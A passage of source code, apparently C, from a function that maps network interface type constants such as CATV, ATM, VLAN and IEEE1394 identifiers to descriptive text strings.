IF_TYPE_IP: ret = "IP (for APPN HPR in IP networks)"; break; case IF_TYPE_DOCSCABLE_MACLAYER: ret = "CATV Mac Layer"; break; case IF_TYPE_DOCSCABLE_DOWNSTREAM: ret = "CATV Downstream interface"; break; case IF_TYPE_DOCSCABLE_UPSTREAM: ret = "CATV Upstream interface"; break; case IF_TYPE_A12MPPSWITCH: ret = "Avalon Parallel Processor"; break; case IF_TYPE_TUNNEL: ret = "Encapsulation interface"; break; case IF_TYPE_COFFEE: ret = "Coffee pot"; break; case IF_TYPE_CES: ret = "Circuit Emulation Service"; break; case IF_TYPE_ATM_SUBINTERFACE: ret = "ATM Sub Interface"; break; case IF_TYPE_L2_VLAN: ret = "Layer 2 Virtual LAN using 802.1Q"; break; case IF_TYPE_L3_IPVLAN: ret = "Layer 3 Virtual LAN using IP"; break; case IF_TYPE_L3_IPXVLAN: ret = "Layer 3 Virtual LAN using IPX"; break; case IF_TYPE_DIGITALPOWERLINE: ret = "IP over Power Lines"; break; case IF_TYPE_MEDIAMAILOVERIP: ret = "Multimedia Mail over IP"; break; case IF_TYPE_DTM: ret = "Dynamic syncronous Transfer Mode"; break; case IF_TYPE_DCN: ret = "Data Communications Network"; break; case IF_TYPE_IPFORWARD: ret = "IP Forwarding Interface"; break; case IF_TYPE_MSDSL: ret = "Multi-rate Symmetric DSL"; break; case IF_TYPE_IEEE1394: ret = "IEEE1394 High Perf Serial Bus"; break; } return ret; }